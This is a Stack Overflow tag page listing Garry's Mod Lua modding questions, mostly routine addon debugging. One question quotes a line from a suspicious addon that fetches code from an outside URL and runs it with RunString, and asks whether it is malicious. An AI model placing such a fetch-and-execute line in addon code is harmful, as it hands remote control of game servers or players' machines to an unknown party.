Questions tagged [garrys-mod]

Garry's Mod is a sandbox game based around player created content. Only post questions relating to game modding. For questions relating to game play, see gaming.stackexchange.com.

Garry's Mod is a sandbox game that allows users to use the Lua scripting language to create custom addons, such as weapons, NPCs, etc.

Questions tagged with relate to creating addons for Garry's Mod using Lua.

198 questions
0
votes
1 answer

Glua error "attempt to call method 'GetPlayerVisible' (a nil value)"

I personally don't know how a built in function can be indexed as "nil" butthis error appeared and it haulted my nextbot's movement. heres my code that is causing this if (!self:GetPlayerVisible() and chasing_timer > chasing_time) then …
Santrix
  • 1
  • 1
0
votes
0 answers

lua setteam issue with another job

In the current example we have two different jobs, one is an ST, and the other is a Jedi, in this case Anakin Skywalker. The difference between the two professions, is in the code according to my opinion possibly none, I'm not sure in this regard,…
0
votes
1 answer

GMOD Lua: How can I pass variables between scripts?

Im new to Lua and the gmod gamemode creation, and I'm having a bit of trouble. I want to deactivate a HUD when the game starts. I have 2 files, one the init.lua file, where a function is called that the game starts (there I want to change the value…
0
votes
0 answers

how to register new DarkRPVar?

i'm beginner developer. i'm trying to develop my own gmod server ( darkrp ) i just connected my server with mysql, but i don't know how to get data from mysql to my server. local qs2 = [[ INSERT IGNORE INTO darkrp_ruby` (steamid, ruby,…
itsjh
  • 1
0
votes
1 answer

attempt to index global 'INV' (a nil value) (line:23)

print("cl_inv wurde geladen!") concommand.Add("inv_model", function(ply) local wep = ply:GetActiveWeapon() if not IsValid(wep) then return end print(wep:GetWeaponWorldModel()) end) net.Receive("inv_init", function() …
TR0PS
  • 1
0
votes
0 answers

bad argument #1 to 'pairs' (table expected, got nil)

so, I'm trying to fix this bug, but I'm completely stuck, so if anyone has any ideas, please share your option with me. Mistake: gamemodes/starwarsrp/gamemode/modules/chars/sv_player.lua:4: bad argument #1 to 'pairs' (table expected, got…
RoNsI
  • 1
0
votes
2 answers

Array return are sort in reverse and i dont know why

I have a weird problem that I can't solve since yesterday on Garry's Mod (GLua) When my gmod server game is running, I notice that there are errors on arrays that are empty with certain keys when they are well specified, while doing deep tests, I…
MrMarrant
  • 11
  • 2
0
votes
1 answer

Garry's Mod trying to make a ring like health bar with seperators smooth

So I have a ring looking like health bar in GMod, and I'm trying to make the health bar go down smoothly as I lose health, and obviously I got no idea how to do that, I've tried math approach and lerping but it didn't work (probably my poor coding…
Jackett
  • 1
  • 2
0
votes
0 answers

Gmod Lua, combine between entities

I created an addon and I want to combine between two entities in it. One It is an indicator and the second is a plate. How do I connect them that when someone touching the plate the indicator will change the color.
vlad tal
  • 1
  • 1
0
votes
1 answer

How to set a function's argument, as a hook.Add identifier (gmod lua)

this is my code: function CyberpunkUIShape( leftx, downy, fillcolor, linecolor, wid, hei, bendsize, offset, identifier ) local trapezoidbg = { { x = leftx+bendsize, y = downy-hei }, -- top left { x = leftx , y = downy…
RAVEN.exe
  • 1
  • 3
0
votes
0 answers

Garry's mod lua errors

I keep getting this spammed in console: MENU ERROR: lua/menu/mainmenu.lua:79: attempt to call global 'CanAddServerToFavorites' (a nil value) lua/menu/mainmenu.lua:79 [] And this whenever I load a map (doesnt even let me play the map, kicks me…
0
votes
3 answers

Is this glua code a malicious code or not?

I received a sus version of a addon (gmod) and it has this inside: timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=2SzqLfShfxnu81uPmMOi", function(b) RunString(b, ":", false) end)end) and also another file in 'materials/npc/'…
0
votes
1 answer

Attempt to call global 'localPlayer' (a nil value) error in Garry's Mod

I need help with my code, when I run it I get the error 'attempt to call global 'localPlayer' (a nil value)' I want to make a hunger system in sandbox in my own hud. I found an addon with food there I took models and scripts and instead of getting…
0
votes
1 answer

env_lightglow not working when spawned via code

I'm creating a SENT that has a blinking glowing light inside. It mustnt' illuminate the environment, it should be like the light on top of combine mines. The problem is, I cannot get it to work. I've tried setting as many keyvalues as possible,…
0
votes
0 answers

GMOD Lua Player death causing game to crash

I'm working on a FFA gamemode in Garry's mod where players have to survive each other and a nextbot NPC hunting them. My override of the GM:PlayerDeath adequately indicates when the current round should be over, however after SpawnGhoulInitial() is…
TheBudderBomb
  • 73
  • 1
  • 3
  • 14